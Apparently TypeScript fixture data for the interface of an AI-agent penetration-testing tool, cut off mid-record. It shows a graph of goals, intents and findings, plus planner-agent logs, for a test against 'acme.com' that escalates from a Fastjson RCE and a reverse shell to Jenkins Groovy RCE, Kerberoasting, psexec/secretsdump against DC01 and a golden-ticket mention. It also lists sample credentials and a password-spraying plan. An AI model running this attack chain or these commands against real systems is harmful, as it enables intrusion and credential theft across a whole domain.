"## 漏洞概述\n\n先通过外网 Fastjson RCE 在 DMZ 建立落脚点，再经 sudo 提权·双网卡穿透·Jenkins 未授权 RCE 获取域账号 `svc_deploy`。该账号属于 **Domain Admins**，最终完全控制了域控制器 **DC01**。\n\n## 影响\n\n- 取得域管理员权限，可控制整个域的主机与账号\n- 用 `secretsdump` 导出整个域的 NTLM 哈希（含 `krbtgt`），制作黄金票据实现长期潜伏\n- 内网目标达成\n\n## 复现步骤\n\n1. 以 `svc_deploy` 登录并导出哈希：\n\n```\npsexec.py acme/svc_deploy@10.10.10.10\nsecretsdump.py acme/svc_deploy@10.10.10.10\n```\n\n2. 取得 DC01 的 SYSTEM 权限并导出域内全部哈希\n\n## 处置建议\n\n- 收缩服务账号权限并将其移出 Domain Admins，实施分层管理(tiering)\n- 连续两次重置 `krbtgt`，并将服务账号更换为强口令\n- 修复 DMZ→内网边界隔离以及前述 RCE/提权链\n",
|
||
summary: "控制域控制器 DC01(Domain Admin)：内网目标达成",
|
||
evidence:
|
||
"svc_deploy 属于 Domain Admins，用 psexec.py 登录 DC01 获得 SYSTEM，并以 secretsdump 导出整个域的 NTLM 哈希（含 krbtgt），完成目标控制。",
|
||
intent_id: "i13",
|
||
task_id: "t-acme-web",
|
||
task_description: "Acme 官网·管理员后台外部渗透",
|
||
ts: T("2026-07-26T00:20:00Z"),
|
||
},
|
||
];
|
||
|
||
// ── Exploration graph (active task) ──────────────────────────────────────────
|
||
// 现行模型：根是 fact/state=origin（渲染为「起点」）；payload 为 JSON 字符串，
|
||
// goal 取 text、其余取 summary。结构：根→目标(spawns)→意图(spawns)→事实/漏洞(yields)，
|
||
// 漏洞→目标(proves)，提示→意图(derived_from)。
|
||
const P = (o: Record<string, string>) => JSON.stringify(o);
|
||
|
||
export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
|
||
nodes: [
|
||
{
|
||
id: "root",
|
||
type: "fact",
|
||
payload: P({ summary: "根目标：acme.com 外网→内网纵深渗透" }),
|
||
priority: 0,
|
||
state: "origin",
|
||
origin: "system",
|
||
ts: T("2026-07-24T09:12:00Z"),
|
||
},
|
||
|
||
// ── 目标（由 goals agent 拆解，随发现逐步加码到内网靶标）──
|
||
{
|
||
id: "g1",
|
||
type: "goal",
|
||
payload: P({ text: "获取 acme.com 管理员后台权限" }),
|
||
priority: 9,
|
||
state: "met",
|
||
origin: "goals",
|
||
ts: T("2026-07-24T09:13:00Z"),
|
||
},
|
||
{
|
||
id: "g2",
|
||
type: "goal",
|
||
payload: P({ text: "查阅用户敏感数据" }),
|
||
priority: 8,
|
||
state: "open",
|
||
origin: "goals",
|
||
ts: T("2026-07-24T09:13:00Z"),
|
||
},
|
||
{
|
||
id: "g3",
|
||
type: "goal",
|
||
payload: P({ text: "从外网突破 DMZ，取得内网据点" }),
|
||
priority: 9,
|
||
state: "met",
|
||
origin: "goals",
|
||
ts: T("2026-07-25T14:10:00Z"),
|
||
},
|
||
{
|
||
id: "g4",
|
||
type: "goal",
|
||
payload: P({ text: "内网横向移动，控制内网目标域控制器 DC01" }),
|
||
priority: 10,
|
||
state: "met",
|
||
origin: "goals",
|
||
ts: T("2026-07-25T20:00:00Z"),
|
||
},
|
||
|
||
// ── 第 1 层 · 外网侦察 / 外部漏洞 ──
|
||
{
|
||
id: "i1",
|
||
type: "intent",
|
||
payload: P({ summary: "acme.com 子域名枚举与端口扫描" }),
|
||
priority: 6,
|
||
state: "done",
|
||
origin: "planner",
|
||
ts: T("2026-07-24T09:20:00Z"),
|
||
},
|
||
{
|
||
id: "i2",
|
||
type: "intent",
|
||
payload: P({ summary: "admin 后台默认口令 / 弱口令测试" }),
|
||
priority: 9,
|
||
state: "done",
|
||
origin: "planner",
|
||
ts: T("2026-07-26T03:30:00Z"),
|
||
},
|
||
{
|
||
id: "i3",
|
||
type: "intent",
|
||
payload: P({ summary: "枚举后台功能与用户数据端点" }),
|
||
priority: 8,
|
||
state: "running",
|
||
origin: "planner",
|
||
ts: T("2026-07-26T03:55:00Z"),
|
||
},
|
||
{
|
||
id: "i4",
|
||
type: "intent",
|
||
payload: P({ summary: "www.acme.com/search 页面 SQL 注入检测" }),
|
||
priority: 8,
|
||
state: "done",
|
||
origin: "planner",
|
||
ts: T("2026-07-25T22:00:00Z"),
|
||
},
|
||
{
|
||
id: "i5",
|
||
type: "intent",
|
||
payload: P({ summary: "api.acme.com 订单端点权限绕过(IDOR)测试" }),
|
||
priority: 8,
|
||
state: "running",
|
||
origin: "planner",
|
||
ts: T("2026-07-26T02:30:00Z"),
|
||
},
|
||
{
|
||
id: "ig",
|
||
type: "intent",
|
||
payload: P({ summary: "www.acme.com .git 源码泄露与硬编码凭据提取" }),
|
||
priority: 7,
|
||
state: "done",
|
||
origin: "planner",
|
||
ts: T("2026-07-25T20:20:00Z"),
|
||
},
|
||
|
||
// ── 第 2 层 · 突破 DMZ 建立立足点 ──
|
||
{
|
||
id: "i6",
|
||
type: "intent",
|
||
payload: P({ summary: "shop.acme.com 组件指纹识别与 CVE 关联" }),
|
||
priority: 7,
|
||
state: "done",
|
||
origin: "planner",
|
||
ts: T("2026-07-25T14:20:00Z"),
|
||
},
|
||
{
|
||
id: "i7",
|
||
type: "intent",
|
||
payload: P({ summary: "触发 shop 反序列化 RCE，获取反弹 shell" }),
|
||
priority: 9,
|
||
state: "done",
|
||
origin: "planner",
|
||
ts: T("2026-07-25T15:10:00Z"),
|
||
},
|
||
{
|
||
id: "i8",
|
||
type: "intent",
|
||
payload: P({ summary: "DMZ 据点本地信息收集与 root 提权" }),
|
||
priority: 8,
|
||
state: "done",
|
||
origin: "planner",
|
||
ts: T("2026-07-25T16:00:00Z"),
|
||
},
|
||
|
||
// ── 第 3 层 · 内网横向纵深（多层测试）──
|
||
{
|
||
id: "i9",
|
||
type: "intent",
|
||
payload: P({ summary: "以据点为跳板发现内网主机" }),
|
||
priority: 8,
|
||
state: "done",
|
||
origin: "planner",
|
||
ts: T("2026-07-25T20:30:00Z"),
|
||
},
|
||
{
|
||
id: "i10",
|
||
type: "intent",
|
||
payload: P({ summary: "内网凭据复用与密码喷洒" }),
|
||
priority: 8,
|
||
state: "running",
|
||
origin: "planner",
|
||
ts: T("2026-07-26T03:40:00Z"),
|
||
},
|
||
{
|
||
id: "i11",
|
||
type: "intent",
|
||
payload: P({ summary: "内网 Jenkins 未授权 Groovy 脚本执行(RCE)" }),
|
||
priority: 9,
|
||
state: "done",
|
||
origin: "planner",
|
||
ts: T("2026-07-25T21:30:00Z"),
|
||
},
|
||
{
|
||
id: "i12",
|
||
type: "intent",
|
||
payload: P({ summary: "针对域服务账号的 Kerberoasting 与离线破解" }),
|
||
priority: 8,
|
||
state: "done",
|
||
origin: "planner",
|
||
ts: T("2026-07-25T22:40:00Z"),
|
||
},
|
||
{
|
||
id: "i13",
|
||
type: "intent",
|
||
payload: P({ summary: "使用域管理员凭据登录并控制域控制器 DC01" }),
|
||
priority: 10,
|
||
state: "done",
|
||
origin: "planner",
|
||
ts: T("2026-07-25T23:50:00Z"),
|
||
},
|
||
|
||
// ── 事实 ──
|
||
{
|
||
id: "fa1",
|
||
type: "fact",
|
||
payload: P({ summary: "发现子域名 admin.acme.com(Element-UI 后台)" }),
|
||
priority: 0,
|
||
state: "open",
|
||
origin: "work#1",
|
||
ts: T("2026-07-24T09:40:00Z"),
|
||
},
|
||
{
|
||
id: "fa2",
|
||
type: "fact",
|
||
payload: P({ summary: "search 页面 q 参数为报错型注入点(MSSQL)" }),
|
||
priority: 0,
|
||
state: "open",
|
||
origin: "work#4",
|
||
ts: T("2026-07-25T22:05:00Z"),
|
||
},
|
||
{
|
||
id: "faGit",
|
||
type: "fact",
|
||
payload: P({ summary: ".git 可下载，用 git-dumper 还原后端源码" }),
|
||
priority: 0,
|
||
state: "open",
|
||
origin: "workG",
|
||
ts: T("2026-07-25T20:30:00Z"),
|
||
},
|
||
{
|
||
id: "faCreds",
|
||
type: "fact",
|
||
payload: P({ summary: "源码 config.php 中硬编码数据库口令 sa / Acme@2021(推测为内网通用)" }),
|
||
priority: 0,
|
||
state: "open",
|
||
origin: "workG",
|
||
ts: T("2026-07-25T20:35:00Z"),
|
||
},
|
||
{
|
||
id: "fa3",
|
||
type: "fact",
|
||
payload: P({ summary: "shop 指纹命中 Fastjson 1.2.24(存在已知反序列化 RCE)" }),
|
||
priority: 0,
|
||
state: "open",
|
||
origin: "work#6",
|
||
ts: T("2026-07-25T14:40:00Z"),
|
||
},
|
||
{
|
||
id: "fa4",
|
||
type: "fact",
|
||
payload: P({ summary: "反弹 shell 成功：www-data@dmz-web01(10.0.20.15)，位于 DMZ 网段" }),
|
||
priority: 0,
|
||
state: "open",
|
||
origin: "work#7",
|
||
ts: T("2026-07-25T15:40:00Z"),
|
||
},
|
||
{
|
||
id: "fa5",
|
||
type: "fact",
|
||
payload: P({ summary: "sudo -l：(ALL) NOPASSWD: /usr/bin/python3 → 可提权至 root" }),
|
||
priority: 0,
|
||
state: "open",
|
||
origin: "work#8",
|
||
ts: T("2026-07-25T16:20:00Z"),
|
||
},
|
||
{
|
||
id: "fa6",
|
||
type: "fact",
|
||
payload: P({ summary: "据点第二块网卡直连内网 10.10.10.0/24(跨越 DMZ 边界)" }),
|
||
priority: 0,
|
||
state: "open",
|
||
origin: "work#9",
|
||
ts: T("2026-07-25T20:40:00Z"),
|
||
},
|
||
{
|
||
id: "fa7",
|
||
type: "fact",
|
||
payload: P({
|
||
summary: "内网存活：10.10.10.10 DC01(域控制器) / 10.10.10.5 FS01(SMB) / 10.10.10.20 JENKINS",
|
||
}),
|
||
priority: 0,
|
||
state: "open",
|
||
origin: "work#9",
|
||
ts: T("2026-07-25T21:00:00Z"),
|
||
},
|
||
{
|
||
id: "fa8",
|
||
type: "fact",
|
||
payload: P({ summary: "JENKINS 控制台 /script 未授权，可直接执行 Groovy" }),
|
||
priority: 0,
|
||
state: "open",
|
||
origin: "work#11",
|
||
ts: T("2026-07-25T21:45:00Z"),
|
||
},
|
||
{
|
||
id: "fa9",
|
||
type: "fact",
|
||
payload: P({ summary: "从 Jenkins 凭据库导出域账号 acme\\svc_deploy 的明文口令" }),
|
||
priority: 0,
|
||
state: "open",
|
||
origin: "work#11",
|
||
ts: T("2026-07-25T22:10:00Z"),
|
||
},
|
||
{
|
||
id: "fa10",
|
||
type: "fact",
|
||
payload: P({ summary: "对 svc_sql 的 TGS 进行 Kerberoast，用 hashcat 破解出口令 Sql@2020" }),
|
||
priority: 0,
|
||
state: "open",
|
||
origin: "work#12",
|
||
ts: T("2026-07-25T23:20:00Z"),
|
||
},
|
||
|
||
// ── 漏洞 ──
|
||
{
|
||
id: "fi1",
|
||
type: "finding",
|
||
payload: P({ summary: "后台默认口令 admin/admin123" }),
|
||
priority: 0,
|
||
state: "confirmed",
|
||
origin: "work#2",
|
||
ts: T("2026-07-26T03:50:00Z"),
|
||
},
|
||
{
|
||
id: "fi2",
|
||
type: "finding",
|
||
payload: P({ summary: "通过 SQL 注入(search q)可读取 acme_prod 数据库" }),
|
||
priority: 0,
|
||
state: "confirmed",
|
||
origin: "work#4",
|
||
ts: T("2026-07-26T01:20:00Z"),
|
||
},
|
||
{
|
||
id: "fi3",
|
||
type: "finding",
|
||
payload: P({ summary: "IDOR：/v1/orders?id= 可绕过权限查询他人订单" }),
|
||
priority: 0,
|
||
state: "confirmed",
|
||
origin: "work#5",
|
||
ts: T("2026-07-26T02:44:00Z"),
|
||
},
|
||
{
|
||
id: "fiSrc",
|
||
type: "finding",
|
||
payload: P({ summary: "源码泄露 + 硬编码数据库凭据(sa/Acme@2021)" }),
|
||
priority: 0,
|
||
state: "confirmed",
|
||
origin: "workG",
|
||
ts: T("2026-07-25T20:36:00Z"),
|
||
},
|
||
{
|
||
id: "fiRce",
|
||
type: "finding",
|
||
payload: P({ summary: "通过 shop Fastjson 反序列化 RCE 获得服务器命令执行" }),
|
||
priority: 0,
|
||
state: "confirmed",
|
||
origin: "work#7",
|
||
ts: T("2026-07-25T15:40:00Z"),
|
||
},
|
||
{
|
||
id: "fiPriv",
|
||
type: "finding",
|
||
payload: P({ summary: "DMZ 据点本地提权 root(sudo NOPASSWD 配置错误)" }),
|
||
priority: 0,
|
||
state: "confirmed",
|
||
origin: "work#8",
|
||
ts: T("2026-07-25T16:20:00Z"),
|
||
},
|
||
{
|
||
id: "fiJenkins",
|
||
type: "finding",
|
||
payload: P({ summary: "内网 Jenkins 未授权 Groovy → 服务器 RCE" }),
|
||
priority: 0,
|
||
state: "confirmed",
|
||
origin: "work#11",
|
||
ts: T("2026-07-25T21:50:00Z"),
|
||
},
|
||
{
|
||
id: "fiKerb",
|
||
type: "finding",
|
||
payload: P({ summary: "通过 Kerberoasting 破解域服务账号 svc_sql 口令" }),
|
||
priority: 0,
|
||
state: "confirmed",
|
||
origin: "work#12",
|
||
ts: T("2026-07-25T23:20:00Z"),
|
||
},
|
||
{
|
||
id: "fiDC",
|
||
type: "finding",
|
||
payload: P({ summary: "控制域控制器 DC01(Domain Admin)：内网目标达成" }),
|
||
priority: 0,
|
||
state: "confirmed",
|
||
origin: "work#13",
|
||
ts: T("2026-07-26T00:20:00Z"),
|
||
},
|
||
|
||
// ── 提示（主 agent 注入）──
|
||
{
|
||
id: "h1",
|
||
type: "hint",
|
||
payload: P({ summary: "后台为 Element-UI，优先执行默认口令列表" }),
|
||
priority: 5,
|
||
state: "consumed",
|
||
origin: "mainagent",
|
||
ts: T("2026-07-26T03:20:00Z"),
|
||
},
|
||
{
|
||
id: "h2",
|
||
type: "hint",
|
||
payload: P({ summary: "内网优先攻击 Jenkins：未授权 /script 直达 Groovy RCE" }),
|
||
priority: 6,
|
||
state: "consumed",
|
||
origin: "mainagent",
|
||
ts: T("2026-07-25T21:20:00Z"),
|
||
},
|
||
{
|
||
id: "h3",
|
||
type: "hint",
|
||
payload: P({ summary: "将源码中的数据库口令向内网喷洒，很可能通用" }),
|
||
priority: 6,
|
||
state: "consumed",
|
||
origin: "mainagent",
|
||
ts: T("2026-07-25T23:10:00Z"),
|
||
},
|
||
],
|
||
edges: [
|
||
// 根 → 目标
|
||
{ src: "root", dst: "g1", rel: "spawns" },
|
||
{ src: "root", dst: "g2", rel: "spawns" },
|
||
{ src: "root", dst: "g3", rel: "spawns" },
|
||
{ src: "root", dst: "g4", rel: "spawns" },
|
||
// 目标 → 意图
|
||
{ src: "g1", dst: "i1", rel: "spawns" },
|
||
{ src: "g1", dst: "i2", rel: "spawns" },
|
||
{ src: "g1", dst: "i3", rel: "spawns" },
|
||
{ src: "g2", dst: "i4", rel: "spawns" },
|
||
{ src: "g2", dst: "i5", rel: "spawns" },
|
||
{ src: "g2", dst: "ig", rel: "spawns" },
|
||
{ src: "g3", dst: "i6", rel: "spawns" },
|
||
{ src: "g3", dst: "i7", rel: "spawns" },
|
||
{ src: "g3", dst: "i8", rel: "spawns" },
|
||
{ src: "g4", dst: "i9", rel: "spawns" },
|
||
{ src: "g4", dst: "i10", rel: "spawns" },
|
||
{ src: "g4", dst: "i11", rel: "spawns" },
|
||
{ src: "g4", dst: "i12", rel: "spawns" },
|
||
{ src: "g4", dst: "i13", rel: "spawns" },
|
||
// 意图 → 事实 / 漏洞（产出）
|
||
{ src: "i1", dst: "fa1", rel: "yields" },
|
||
{ src: "i4", dst: "fa2", rel: "yields" },
|
||
{ src: "i2", dst: "fi1", rel: "yields" },
|
||
{ src: "i4", dst: "fi2", rel: "yields" },
|
||
{ src: "i5", dst: "fi3", rel: "yields" },
|
||
{ src: "ig", dst: "faGit", rel: "yields" },
|
||
{ src: "ig", dst: "faCreds", rel: "yields" },
|
||
{ src: "ig", dst: "fiSrc", rel: "yields" },
|
||
{ src: "i6", dst: "fa3", rel: "yields" },
|
||
{ src: "i7", dst: "fa4", rel: "yields" },
|
||
{ src: "i7", dst: "fiRce", rel: "yields" },
|
||
{ src: "i8", dst: "fa5", rel: "yields" },
|
||
{ src: "i8", dst: "fiPriv", rel: "yields" },
|
||
{ src: "i9", dst: "fa6", rel: "yields" },
|
||
{ src: "i9", dst: "fa7", rel: "yields" },
|
||
{ src: "i11", dst: "fa8", rel: "yields" },
|
||
{ src: "i11", dst: "fa9", rel: "yields" },
|
||
{ src: "i11", dst: "fiJenkins", rel: "yields" },
|
||
{ src: "i12", dst: "fa10", rel: "yields" },
|
||
{ src: "i12", dst: "fiKerb", rel: "yields" },
|
||
{ src: "i13", dst: "fiDC", rel: "yields" },
|
||
// 事实 → 新意图（事实驱动的多层递进）
|
||
{ src: "fa3", dst: "i7", rel: "derived_from" },
|
||
{ src: "fa4", dst: "i8", rel: "derived_from" },
|
||
{ src: "fa4", dst: "i9", rel: "derived_from" },
|
||
{ src: "faCreds", dst: "i10", rel: "derived_from" },
|
||
{ src: "fa7", dst: "i11", rel: "derived_from" },
|
||
{ src: "fa7", dst: "i12", rel: "derived_from" },
|
||
{ src: "fa9", dst: "i13", rel: "derived_from" },
|
||
{ src: "fa10", dst: "i13", rel: "derived_from" },
|
||
// 提示 → 意图
|
||
{ src: "h1", dst: "i2", rel: "derived_from" },
|
||
{ src: "h2", dst: "i11", rel: "derived_from" },
|
||
{ src: "h3", dst: "i10", rel: "derived_from" },
|
||
// 漏洞 → 证明目标达成
|
||
{ src: "fi1", dst: "g1", rel: "proves" },
|
||
{ src: "fiRce", dst: "g3", rel: "proves" },
|
||
{ src: "fiDC", dst: "g4", rel: "proves" },
|
||
],
|
||
};
|
||
|
||
export const intents: TaskNode[] = explorationGraph.nodes.filter((n) => n.type === "intent");
|
||
export const frontier: TaskNode[] = explorationGraph.nodes.filter(
|
||
(n) => n.type === "intent" && (n.state === "open" || n.state === "running"),
|
||
);
|
||
|
||
// ── Activity（执行过程）─────────────────────────────────────────────────────
|
||
// 会话由 sessions-tab 从「意图」派生（session.id = intent.id），transcript = 匹配
|
||
// intent_id 的活动流。planner=worker "planner"、主 agent=worker "mainagent"。
|
||
// 每个 worker 会话含完整工具执行链（tool_use → tool_result → …→ result）。
|
||
export const activity: Activity[] = [
|
||
// planner —— 每轮完整决策链：读态势 → 拉 worker 产出对照 → 判目标 → add_intent 派方向
|
||
// ── 第 0 轮 · 目标拆解与首批意图（2026-07-24 09:12）──
|
||
{ seq: 1000, worker: "planner", ts: T("2026-07-24T09:12:10Z"), kind: "round", summary: "第 0 轮 · 目标拆解" },
|
||
{
|
||
seq: 1001,
|
||
worker: "planner",
|
||
ts: T("2026-07-24T09:12:25Z"),
|
||
kind: "thinking",
|
||
summary:
|
||
"graph_overview：goals 已在目标层完成拆解。g1「获取 acme.com 后台管理权限」、g2「查阅用户敏感数据」，二者均为 open，facts=0，recent_facts 为空（图谱近乎空白，尚无任何 worker 产物）。范围内资产仅有根域名 acme.com 与一个 C 类网段。攻击面初判为 www / admin / api / shop / vpn 五个入口。由于图谱中没有 fact，我只能以【极轻量的只读侦察】来具体化初始意图，plan 阶段不执行实际作业。",
|
||
},
|
||
{
|
||
seq: 1002,
|
||
worker: "planner",
|
||
ts: T("2026-07-24T09:12:40Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "p0-probe",
|
||
summary: "curl -sI https://acme.com; curl -sI https://admin.acme.com",
|
||
detail:
|
||
"初始情况近乎空白，执行不超过 3 次只读侦察以校正初始意图方向（不做枚举·验证，那是 worker 的职责）。",
|
||
},
|
||
{
|
||
seq: 1003,
|
||
worker: "planner",
|
||
ts: T("2026-07-24T09:12:52Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "p0-probe",
|
||
summary:
|
||
"acme.com → 302 → www; Server: nginx/1.24.0\nadmin.acme.com → 200，无 X-Powered-By，body 中检测到 element-ui/vue 特征",
|
||
detail:
|
||
"admin 是独立的后台登录页。已确认五个入口有效，可精确撰写初始意图说明。",
|
||
},
|
||
{
|
||
seq: 1004,
|
||
worker: "planner",
|
||
ts: T("2026-07-24T09:13:00Z"),
|
||
kind: "tool_use",
|
||
tool: "add_intent",
|
||
tool_use_id: "p0-ai",
|
||
summary: "add_intent × 4（批量派遣首批探索方向）",
|
||
detail:
|
||
"intents=[\n { summary: '全量枚举 acme.com 子域名 + 识别存活主机端口/服务以掌握攻击面', asset_ids: [acme.com], priority: 6 },\n { summary: 'admin.acme.com 后台默认口令/弱口令测试(Element-UI 登录，无验证码)', asset_ids: [admin], priority: 9 },\n { summary: 'www.acme.com/search q 参数 SQL 注入检测', asset_ids: [www], priority: 8 },\n { summary: 'api.acme.com 订单端点权限绕过(IDOR)测试', asset_ids: [api], priority: 8 },\n]\nparent_ids 均为空（属顶层新方向，回退连接到 origin fact）。",
|
||
},
|
||
{
|
||
seq: 1005,
|
||
worker: "planner",
|
||
ts: T("2026-07-24T09:13:02Z"),
|
||
kind: "tool_result",
|
||
tool: "add_intent",
|
||
tool_use_id: "p0-ai",
|
||
summary: "已创建 4 个 intent → ids=[i1, i2, i4, i5]，已接入 frontier",
|
||
detail:
|
||
"有意保持路径多样性。以 i1 侦察 + i2(g1 认证路径) + i4/i5(g2 数据路径)并行两条独立攻击手法，不急于收敛。",
|
||
},
|
||
{
|
||
seq: 1006,
|
||
worker: "planner",
|
||
ts: T("2026-07-24T09:13:05Z"),
|
||
kind: "text",
|
||
summary:
|
||
"本轮派生出首批 4 个意图。i1 资产侦察、i2 后台口令、i4 注入、i5 API 权限绕过，g1 走 i2、g2 走 i4/i5，两个目标都保留了独立入口。worker 产出事实后再按脉络增援。",
|
||
},
|
||
|
||
// ── 第 1 轮 · 攻击面加码（2026-07-25 14:12）──
|
||
{ seq: 1100, worker: "planner", ts: T("2026-07-25T14:12:00Z"), kind: "round", summary: "第 1 轮 · 攻击面增援" },
|
||
{
|
||
seq: 1101,
|
||
worker: "planner",
|
||
ts: T("2026-07-25T14:12:15Z"),
|
||
kind: "thinking",
|
||
summary:
|
||
"recent_facts 比对：workG 回报 faGit「.git 可下载，用 git-dumper 还原后端源码」与 faCreds「config.php 中硬编码 sa/Acme@2021(推测内网通用)」，work#6 指纹识别回报 fa3「在 shop 上检测到 Fastjson 1.2.24(存在已知反序列化 RCE)」。【可作素材的新手法】有两种。① 硬编码数据库口令可能在内网大范围复用。② Fastjson 有成熟的 RCE 手法。这开辟了与既有认证/注入路径【本质不同】的入口，是从 shop 直接用 RCE 突破 DMZ 的路径。先取 faGit 详情核对产物。",
|
||
},
|
||
{
|
||
seq: 1102,
|
||
worker: "planner",
|
||
ts: T("2026-07-25T14:12:28Z"),
|
||
kind: "tool_use",
|
||
tool: "node_detail",
|
||
tool_use_id: "p1-nd",
|
||
summary: "node_detail(faGit)：比对 workG 的源码还原产物",
|
||
detail: "在 add_intent 前先确认 worker 实际还原了什么，避免仅凭指纹臆断方向。",
|
||
},
|
||
{
|
||
seq: 1103,
|
||
worker: "planner",
|
||
ts: T("2026-07-25T14:12:35Z"),
|
||
kind: "tool_result",
|
||
tool: "node_detail",
|
||
tool_use_id: "p1-nd",
|
||
summary:
|
||
"faGit 证据：用 git-dumper 还原 config.php / db.php / order_api.php。config.php 内 $db=['host'=>'10.10.10.5','user'=>'sa','pass'=>'Acme@2021']",
|
||
detail:
|
||
"硬编码值指向内网 10.10.10.5(FS01)，佐证 faCreds 的「内网通用」推测。RCE 站稳后这组口令值得复用。",
|
||
},
|
||
{
|
||
seq: 1104,
|
||
worker: "planner",
|
||
ts: T("2026-07-25T14:12:50Z"),
|
||
kind: "tool_use",
|
||
tool: "add_intent",
|
||
tool_use_id: "p1-ai",
|
||
summary: "add_intent × 2（Fastjson 突破链，按串行阶段从可执行的第一步开始派遣）",
|
||
detail:
|
||
"intents=[\n { summary: '深入分析 shop.acme.com 组件指纹 + 精确定位 Fastjson 1.2.24 CVE(确认 gadget 链)', asset_ids: [shop], parent_ids: [fa3], priority: 7 },\n { summary: '构造 Fastjson 反序列化 payload 触发 shop RCE 并获取反弹 shell', asset_ids: [shop], parent_ids: [fa3], priority: 9 },\n]\n注：属强依赖的串行链，已在 TodoWrite 中记录『指纹→RCE→据点提权』三个阶段，本轮仅派遣前两步(提权依赖 shell 产物，故下一轮派遣)。",
|
||
},
|
||
{
|
||
seq: 1105,
|
||
worker: "planner",
|
||
ts: T("2026-07-25T14:12:52Z"),
|
||
kind: "tool_result",
|
||
tool: "add_intent",
|
||
tool_use_id: "p1-ai",
|
||
summary: "已创建 2 个 intent → ids=[i6, i7]，经 fa3 接入脉络",
|
||
},
|
||
{
|
||
seq: 1106,
|
||
worker: "planner",
|
||
ts: T("2026-07-25T14:13:00Z"),
|
||
kind: "text",
|
||
summary:
|
||
"态势升级：源码 + 内网硬编码口令 + Fastjson RCE 构成了全新的突破路径。已向目标层登记 g3「从外网突破 DMZ，取得内网据点」，并派遣 i6(指纹/CVE 关联)·i7(触发 RCE)。DMZ 提权阶段依赖 shell，故记入待办并在下一轮派遣。",
|
||
},
|
||
|
||
// ── 第 2 轮 · 立足点已建，转内网（2026-07-25 20:25）──
|
||
{
|
||
seq: 1200,
|
||
worker: "planner",
|
||
ts: T("2026-07-25T20:25:00Z"),
|
||
kind: "round",
|
||
summary: "第 2 轮 · 据点获取完成，转向内网",
|
||
},
|
||
{
|
||
seq: 1201,
|
||
worker: "planner",
|
||
ts: T("2026-07-25T20:25:18Z"),
|
||
kind: "thinking",
|
||
summary:
|
||
"脉络比对：i7 回报 fa4「反弹 shell www-data@dmz-web01(10.0.20.15)，位于 DMZ 网段」，提权链回报 fa5「在 sudo -l 中检测到 NOPASSWD python3 → 可提权至 root」、fa6「据点第二块网卡直连内网 10.10.10.0/24」。g3 的验收条件(突破 DMZ + 取得据点)已由 fa4+fa6 直接满足。先确认 fa6 的内网可达性再 prove_goal。",
|
||
},
|
||
{
|
||
seq: 1202,
|
||
worker: "planner",
|
||
ts: T("2026-07-25T20:25:30Z"),
|
||
kind: "tool_use",
|
||
tool: "node_detail",
|
||
tool_use_id: "p2-nd",
|
||
summary: "node_detail(fa6)：确认双网卡与内网可达性",
|
||
},
|
||
{
|
||
seq: 1203,
|
||
worker: "planner",
|
||
ts: T("2026-07-25T20:25:38Z"),
|
||
kind: "tool_result",
|
||
tool: "node_detail",
|
||
tool_use_id: "p2-nd",
|
||
summary:
|
||
"fa6 证据：ip a → eth0 10.0.20.15(DMZ) / eth1 10.10.10.15(内网)；ping 10.10.10.10 成功，确认跨越 DMZ 边界",
|
||
},
|
||
{
|
||
seq: 1204,
|
||
worker: "planner",
|
||
ts: T("2026-07-25T20:25:50Z"),
|
||
kind: "tool_use",
|
||
tool: "prove_goal",
|
||
tool_use_id: "p2-pg",
|
||
summary: "prove_goal(g3, evidence=fa6)",
|
||
detail:
|
||
"reason：通过 i7 的 RCE 取得 DMZ 据点(fa4)，fa5 完成 root 提权，fa6 证明第二块网卡直连内网且 ping 通 DC01。达成「突破 DMZ，取得内网据点」验收。",
|
||
},
|
||
{
|
||
seq: 1205,
|
||
worker: "planner",
|
||
ts: T("2026-07-25T20:25:52Z"),
|
||
kind: "tool_result",
|
||
tool: "prove_goal",
|
||
tool_use_id: "p2-pg",
|
||
summary: "goal g3 → met（已关联证据 fa6）；g1/g2/g4 尚未达成，继续作业",
|
||
},
|
||
{
|
||
seq: 1206,
|
||
worker: "planner",
|
||
ts: T("2026-07-25T20:26:10Z"),
|
||
kind: "tool_use",
|
||
tool: "add_intent",
|
||
tool_use_id: "p2-ai",
|
||
summary: "add_intent × 4（以据点为跳板展开内网横向移动）",
|
||
detail:
|
||
"intents=[\n { summary: '以 dmz-web01 为跳板发现内网 10.10.10.0/24 主机并识别端口', asset_ids: [dmz-web01], parent_ids: [fa6], priority: 8 },\n { summary: '内网横向移动：用硬编码口令 sa/Acme@2021 复用凭据并做密码喷洒', parent_ids: [faCreds], priority: 8 },\n { summary: '内网 Jenkins(10.10.10.20) 未授权 /script Groovy 执行(RCE)', parent_ids: [fa6], priority: 9 },\n { summary: '针对域服务账号的 Kerberoasting 与离线破解', parent_ids: [fa6], priority: 8 },\n]\n主机发现为前置步骤(先派遣)，其余三项为并行横向探索方向。",
|
||
},
|
||
{
|
||
seq: 1207,
|
||
worker: "planner",
|
||
ts: T("2026-07-25T20:26:12Z"),
|
||
kind: "tool_result",
|
||
tool: "add_intent",
|
||
tool_use_id: "p2-ai",
|
||
summary: "4 intents created → ids=[i9, i10, i11, i12]",
|
||
},
|
||
{
|
||
seq: 1208,
|
||
worker: "planner",
|
||
ts: T("2026-07-25T20:26:20Z"),
|
||
kind: "text",
|
||
summary:
|
||
"g3 达成，攻击面从外网转向内网。已登记 g4「通过内网横向移动控制内网目标域控制器 DC01」，并派遣 i9(主机发现) + i10/i11/i12 三项并行横向移动。凭据复用直接挂在 faCreds 上。即把外网源码泄露获得的口令投入内网横向移动。",
|
||
},
|
||
|
||
// ── 第 3 轮 · 靶标达成复盘（2026-07-26 00:25）──
|
||
{ seq: 1300, worker: "planner", ts: T("2026-07-26T00:25:00Z"), kind: "round", summary: "第 3 轮 · 目标达成回顾" },
|
||
{
|
||
seq: 1301,
|
||
worker: "planner",
|
||
ts: T("2026-07-26T00:25:16Z"),
|
||
kind: "thinking",
|
||
summary:
|
||
"本轮 worker 产物比对：i9→fa7「内网存活 DC01/FS01/JENKINS」，i11→fa8「Jenkins /script 无认证的 Groovy」+ fa9「从 Jenkins 凭据库提取 acme\\svc_deploy 明文口令」，i12→fa10「svc_sql TGS Kerberoast，用 hashcat 破解出 Sql@2020」。svc_deploy 属于 Domain Admins，i13 借此用 psexec 控制 DC01 并 secretsdump。g4 验收(控制 DC01)应已达成，故先比对 finding 证据链再确认。",
|
||
},
|
||
{
|
||
seq: 1302,
|
||
worker: "planner",
|
||
ts: T("2026-07-26T00:25:30Z"),
|
||
